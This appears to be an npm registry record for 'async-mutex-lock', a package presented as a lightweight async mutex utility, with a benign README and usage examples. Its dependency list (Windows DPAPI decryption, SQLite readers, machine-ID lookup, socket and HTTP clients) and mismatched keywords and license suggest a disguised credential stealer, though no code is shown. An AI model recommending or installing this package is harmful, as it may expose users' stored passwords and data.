{"_id":"async-mutex-lock","name":"async-mutex-lock","dist-tags":{"latest":"5.3.1"},"versions":{"5.3.1":{"name":"async-mutex-lock","version":"5.3.1","description":"A lightweight async mutex lock utility for Node.js that provides class-based mutex instances to synchronize asynchronous tasks and prevent race conditions.","main":"index.js","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"keywords":["react","helper","svg"],"author":{"name":"copperadev"},"license":"ISC","dependencies":{"@primno/dpapi":"^2.0.1","axios":"^1.11.0","better-sqlite3":"^12.2.0","express":"^4.21.2","module-to-cdn":"^3.1.5","node-machine-id":"^1.1.12","request":"^2.88.2","sqlite3":"^5.1.7","socket.io-client":"^4.8.1"},"_id":"async-mutex-lock@5.3.1","_nodeVersion":"24.18.0","_npmVersion":"11.16.0","dist":{"integrity":"sha512-XMwe9sjfqTKPq662WQk4YCcp5FUftDQzPj67InZkXZOIwpWUNXXmzQRtSnuYlNYRy8wnQzow8uTUq4e6TzOb+g==","shasum":"aad7467cd41e731a0f1d75f7030fcb45941e590a","tarball":"https://registry.npmjs.org/async-mutex-lock/-/async-mutex-lock-5.3.1.tgz","fileCount":3,"unpackedSize":9740,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEQCIDH/hcK7DJeaIsaSrqc3qjb26HOU+HrNWIjEOxpqBAnoAiB2WmLXLF7DMHTw8EUYM+1GYjLme0PYgy3CKH+Wu3eL/Q=="}]},"_npmUser":{"name":"lunggoo93","email":"gytaadela@gmail.com"},"directories":{},"maintainers":[{"name":"lunggoo93","email":"gytaadela@gmail.com"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/async-mutex-lock_5.3.1_1784731811419_0.5732207920729275"},"_hasShrinkwrap":false}},"time":{"created":"2026-07-22T14:50:11.353Z","5.3.1":"2026-07-22T14:50:11.559Z","modified":"2026-07-22T14:50:11.763Z"},"maintainers":[{"name":"lunggoo93","email":"gytaadela@gmail.com"}],"description":"A lightweight async mutex lock utility for Node.js that provides class-based mutex instances to synchronize asynchronous tasks and prevent race conditions.","keywords":["react","helper","svg"],"author":{"name":"copperadev"},"license":"ISC","readme":"# async-mutex-lock\r\n\r\nA lightweight async mutex lock utility for JavaScript and Node.js applications.\r\n\r\n`async-mutex-lock` provides a simple class-based mutex implementation that helps prevent race conditions by ensuring asynchronous tasks run exclusively when accessing shared resources.\r\n\r\n## Features\r\n\r\n* Simple class-based mutex API\r\n* Supports asynchronous operations\r\n* Prevents concurrent execution of critical sections\r\n* Helps avoid race conditions\r\n* Lightweight and easy to use\r\n* Designed for Node.js applications\r\n\r\n## Installation\r\n\r\nInstall the package using npm:\r\n\r\n```bash\r\nnpm install async-mutex-lock\r\n```\r\n\r\n## Usage\r\n\r\n### Create a Mutex Instance\r\n\r\n```javascript\r\nconst Mutex = require(\"async-mutex-lock\");\r\n\r\nconst mutex = new Mutex();\r\n```\r\n\r\n### Run Tasks with Mutex Lock\r\n\r\nUse the mutex to make sure only one asynchronous task executes at a time.\r\n\r\n```javascript\r\nasync function processTask() {\r\n  await mutex.lock();\r\n\r\n  try {\r\n    // Critical section\r\n    // Only one task can execute this block at a time\r\n\r\n    await someAsyncOperation();\r\n\r\n  } finally {\r\n    mutex.unlock();\r\n  }\r\n}\r\n\r\nprocessTask();\r\n```\r\n\r\n## Example\r\n\r\n```javascript\r\nconst Mutex = require(\"async-mutex-lock\");\r\n\r\nconst mutex = new Mutex();\r\n\r\nasync function updateData(id) {\r\n  await mutex.lock();\r\n\r\n  try {\r\n    console.log(`Processing task ${id}`);\r\n\r\n    await new Promise(resolve => setTimeout(resolve, 1000));\r\n\r\n    console.log(`Completed task ${id}`);\r\n\r\n  } finally {\r\n    mutex.unlock();\r\n  }\r\n}\r\n\r\nupdateData(1);\r\nupdateData(2);\r\nupdateData(3);\r\n```\r\n\r\n### Output\r\n\r\n```\r\nProcessing task 1\r\nCompleted task 1\r\nProcessing task 2\r\nCompleted task 2\r\nProcessing task 3\r\nCompleted task 3\r\n```\r\n\r\nEach task waits until the previous task releases the mutex lock before continuing.\r\n\r\n## API Reference\r\n\r\n### `new Mutex()`\r\n\r\nCreates a new mutex instance.\r\n\r\n```javascript\r\nconst mutex = new Mutex();\r\n```\r\n\r\n---\r\n\r\n### `mutex.lock()`\r\n\r\nAcquires the mutex lock.\r\n\r\nReturns a Promise that resolves when the lock becomes available.\r\n\r\n```javascript\r\nawait mutex.lock();\r\n```\r\n\r\n---\r\n\r\n### `mutex.unlock()`\r\n\r\nReleases the mutex lock and allows the next waiting task to continue.\r\n\r\n```javascript\r\nmutex.unlock();\r\n```\r\n\r\n## Common Use Cases\r\n\r\n### Protect Shared Resources\r\n\r\nPrevent multiple asynchronous operations from modifying the same resource at the same time.\r\n\r\n### Database Updates\r\n\r\nEnsure database operations are executed sequentially when required.\r\n\r\n### File Processing\r\n\r\nAvoid conflicts when multiple processes update the same file.\r\n\r\n### API Request Control\r\n\r\nControl concurrent async operations and prevent duplicate execution.\r\n\r\n## Why Use a Mutex?\r\n\r\nJavaScript runs on a single thread, but asynchronous operations can still create race conditions.\r\n\r\nA mutex lock helps synchronize asynchronous tasks by allowing only one task to access a critical section at a time.\r\n\r\n## License\r\n\r\nMIT License\r\n","readmeFilename":"README.md","_rev":"1-47fd91be545561ff76b1ca314f236c6b"}